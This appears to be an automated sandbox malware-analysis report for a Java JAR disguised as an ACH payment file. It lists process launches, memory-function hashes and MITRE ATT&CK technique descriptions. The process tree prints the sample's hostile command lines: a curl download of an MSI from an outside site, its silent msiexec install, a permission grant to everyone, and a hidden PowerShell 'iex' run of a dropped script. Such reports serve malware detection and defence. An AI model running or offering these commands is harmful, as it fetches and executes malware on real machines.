Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:45:53
Start date:	23/04/2024
Path:	C:\Program Files (x86)\Java\jre-1.8\bin\java.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Java\jre-1.8\bin\java.exe" -javaagent:"C:\Users\user\AppData\Local\Temp\jartracer.jar" -jar "C:\Users\user\Desktop\23-April-24-ACH-7fa67756.jar"
Imagebase:	0x1a0000
File size:	257'664 bytes
MD5 hash:	9DAA53BAB2ECB33DC0D9CA51552701FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:45:54
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M
Imagebase:	0x5d0000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:45:54
Start date:	23/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:45:54
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c curl.exe --output C:\downloads\aHPCrYM1.msi --url https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msi
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	17:45:54
Start date:	23/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	17:45:54
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl.exe --output C:\downloads\aHPCrYM1.msi --url https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msi
Imagebase:	0xb10000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	17:46:09
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c C:\downloads\aHPCrYM1.msi
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	17:46:09
Start date:	23/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	17:46:10
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\msiexec.exe" /i "C:\downloads\aHPCrYM1.msi"
Imagebase:	0x670000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	17:46:10
Start date:	23/04/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff6c0240000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	17:46:11
Start date:	23/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" /c start /min C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden "iex (gc ('C:\ProgramData\lgp\sjm') \| out-string)"
Imagebase:	0x7ff7f78b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	17:46:11
Start date:	23/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	17:46:11
Start date:	23/04/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden "iex (gc ('C:\ProgramData\lgp\sjm') \| out-string)"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	17:46:11
Start date:	23/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	17:46:13
Start date:	23/04/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 1.1.1.1
Imagebase:	0x7ff6aae00000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	17:46:14
Start date:	23/04/2024
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}
Imagebase:	0x7ff733cd0000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	17:46:16
Start date:	23/04/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 1.1.1.1
Imagebase:	0x7ff6aae00000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	17:46:20
Start date:	23/04/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 1.1.1.1
Imagebase:	0x7ff6aae00000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	17:46:23
Start date:	23/04/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 1.1.1.1
Imagebase:	0x7ff6aae00000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	17:46:28
Start date:	23/04/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 1.1.1.1
Imagebase:	0x7ff6aae00000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	17:46:31
Start date:	23/04/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 1.1.1.1
Imagebase:	0x7ff6aae00000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	17:46:34
Start date:	23/04/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 1.1.1.1
Imagebase:	0x7ff6aae00000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	17:46:38
Start date:	23/04/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 1.1.1.1
Imagebase:	0x7ff6aae00000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	17:46:41
Start date:	23/04/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 1.1.1.1
Imagebase:	0x7ff6aae00000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	17:46:44
Start date:	23/04/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 1.1.1.1
Imagebase:	0x7ff6aae00000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	17:46:48
Start date:	23/04/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 1.1.1.1
Imagebase:	0x7ff6aae00000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	17:46:51
Start date:	23/04/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 1.1.1.1
Imagebase:	0x7ff6aae00000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	17:46:55
Start date:	23/04/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 1.1.1.1
Imagebase:	0x7ff6aae00000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	17:46:55
Start date:	23/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	17:46:58
Start date:	23/04/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 1.1.1.1
Imagebase:	0x7ff6aae00000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	17:47:01
Start date:	23/04/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 1.1.1.1
Imagebase:	0x7ff6aae00000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	17:47:04
Start date:	23/04/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 1.1.1.1
Imagebase:	0x7ff6aae00000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	17:47:08
Start date:	23/04/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 1.1.1.1
Imagebase:	0x7ff6aae00000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	17:47:11
Start date:	23/04/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 1.1.1.1
Imagebase:	0x7ff6aae00000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	17:47:15
Start date:	23/04/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 1.1.1.1
Imagebase:	0x7ff6aae00000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	17:47:18
Start date:	23/04/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 1.1.1.1
Imagebase:	0x7ff6aae00000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	17:47:22
Start date:	23/04/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 1.1.1.1
Imagebase:	0x7ff6aae00000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	17:47:25
Start date:	23/04/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 1.1.1.1
Imagebase:	0x7ff6aae00000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 021B0672 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1436269917.00000000021B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 021B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_21b0000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9a6dc49632ee1f4aaa7aeeba0d2ffed67b35000d88a37096794ccd7dcb2ccca
Instruction ID: e5093e384259ce1c3ddf1f2c2ef0000cb1dc8c45dc99a934f594b95d74ccdcf2
Opcode Fuzzy Hash: d9a6dc49632ee1f4aaa7aeeba0d2ffed67b35000d88a37096794ccd7dcb2ccca
Instruction Fuzzy Hash: A91156B6C4022A9FCB29DF58C9815EEF3B0FF8C314B568569DC65A3241D3346960CB80

Uniqueness

Uniqueness Score: -1.00%

Function 021B0667 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1436269917.00000000021B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 021B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_21b0000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95bc8767ee86f6279d91c0a55483095f7d0672b632bac10176fc646e6ccd3f78
Instruction ID: 5bfe00abfd258dbe0485cf87cd81af22dbc3e192b2071abb49d85ba625f4a48c
Opcode Fuzzy Hash: 95bc8767ee86f6279d91c0a55483095f7d0672b632bac10176fc646e6ccd3f78
Instruction Fuzzy Hash: 99118B76C4022A9FCF25CF98C8825EEB7B0FF48314B564159DC64A3342D3386D60CB81

Uniqueness

Uniqueness Score: -1.00%

Function 021B0722 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1436269917.00000000021B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 021B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_21b0000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7feada6f3850fc7dbd6e5eff6cbb7e98d13dbbcaf57176709a0878f6c2d464e2
Instruction ID: ff86ab2928ab6e7aa63afbb8e662f72f2abb2a074dc174342a7e61cfeea66615
Opcode Fuzzy Hash: 7feada6f3850fc7dbd6e5eff6cbb7e98d13dbbcaf57176709a0878f6c2d464e2
Instruction Fuzzy Hash: 99F0157AC40229DB8B15CF48C4440EEF7B1EF08218B1A8496DC683B641D332AD62CF81

Uniqueness

Uniqueness Score: -1.00%

Function 021C4CCD Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1436269917.00000000021B2000.00000040.00000800.00020000.00000000.sdmp, Offset: 021B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_21b2000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 573fb40aa9f8072f92a3d4df0eb223a1e52e10057e23bb2f17b5634f0bf805a5
Instruction ID: 55d355e6f974fa0988cbc9b4de225052e2720940831ab0ecd92e68837672a1db
Opcode Fuzzy Hash: 573fb40aa9f8072f92a3d4df0eb223a1e52e10057e23bb2f17b5634f0bf805a5
Instruction Fuzzy Hash: 0EF0DFB5900A06EBEB15CF20C0047EAF7B4FB88704F04420AD42C53310C778B429CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 021C4B78 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1436269917.00000000021B2000.00000040.00000800.00020000.00000000.sdmp, Offset: 021B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_21b2000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7892382c7e87cbe892ef317325beead71126cdf1cc49c95fd8b2d1beaf147f8f
Instruction ID: 3cb8fd558098d9c4e5d4ae2e11969679265ad8464eaf39e18382f15684f63760
Opcode Fuzzy Hash: 7892382c7e87cbe892ef317325beead71126cdf1cc49c95fd8b2d1beaf147f8f
Instruction Fuzzy Hash: A7F079B6A00A06EBDB258F65C0047DAFBB4BB88718F15821AD82C67350D778B469CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 021BEC1C Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1436269917.00000000021B2000.00000040.00000800.00020000.00000000.sdmp, Offset: 021B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_21b2000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02f051952b09aae8fced885c6f16f6d8e2b1e5c5e543b6adddce5b8b3048d1d3
Instruction ID: 02977aafff7cacc46ec1dd390f0bc582c0932b107b3d92c9eea37ba4114f76ae
Opcode Fuzzy Hash: 02f051952b09aae8fced885c6f16f6d8e2b1e5c5e543b6adddce5b8b3048d1d3
Instruction Fuzzy Hash: D0F092B5900A06EBDB15CF61C0047DAFBB4BB88714F15421AC42C67750D778B469CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 021BDA35 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1436269917.00000000021B2000.00000040.00000800.00020000.00000000.sdmp, Offset: 021B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_21b2000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1c5a98bcc2ed15fb0a8fd437faf8bca7e7958bf5bffea3c651793372e85bc02
Instruction ID: 86cd0b15a2c1f946145eca831c73053fd3154b3cf9bd4a33ccbaa95bad211c6b
Opcode Fuzzy Hash: e1c5a98bcc2ed15fb0a8fd437faf8bca7e7958bf5bffea3c651793372e85bc02
Instruction Fuzzy Hash: 60F0CAB6D00B0AABDB258F61C4047DAFBB5BB88714F19461AC42C63320D378B469CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 021C3C76 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1436269917.00000000021B2000.00000040.00000800.00020000.00000000.sdmp, Offset: 021B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_21b2000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d46efb364ed73f2613de4968c3797d07ba027331f2278712712de85ac62d465
Instruction ID: 4b6138809db2e9f201ffda93c2a6294002f84d03c18bfebe3e20f872b781ac15
Opcode Fuzzy Hash: 8d46efb364ed73f2613de4968c3797d07ba027331f2278712712de85ac62d465
Instruction Fuzzy Hash: 1BF0CAB6D00A0AABDB258F61C0047CAFBB4BB88714F15461AC42C67320D378B469CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 021C45E9 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1436269917.00000000021B2000.00000040.00000800.00020000.00000000.sdmp, Offset: 021B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_21b2000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9c8c84c819ef9c0f536123963c9b27d3871c3655ade0749758cc8fa5707e72f
Instruction ID: 2dbb0cb5e0d0e4e2607fac21fbdb750503d8e3263e5338f4a2f5a9fe938ea6f7
Opcode Fuzzy Hash: a9c8c84c819ef9c0f536123963c9b27d3871c3655ade0749758cc8fa5707e72f
Instruction Fuzzy Hash: ADF0C2B6D00A06ABDB258F61C0047DAFBB5BB48714F15461AC52C63310D378B465CBC0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 021B03C0 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1436269917.00000000021B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 021B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_21b0000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a012a9fb5cf5d9e1554885d89a3030425dd9bcc3e3bcfa4e280c99466c7885fc
Instruction ID: b069e4b5ef7ec6aafe685f94c55c83e36648c36bfe8ff910f640c49c573764fb
Opcode Fuzzy Hash: a012a9fb5cf5d9e1554885d89a3030425dd9bcc3e3bcfa4e280c99466c7885fc
Instruction Fuzzy Hash: 4721C4BA5442568FDB358F1988403DAB7A5EF58314F21482EDECAA7710D3306A898B51

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Process: Process Creation, Service: Service Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
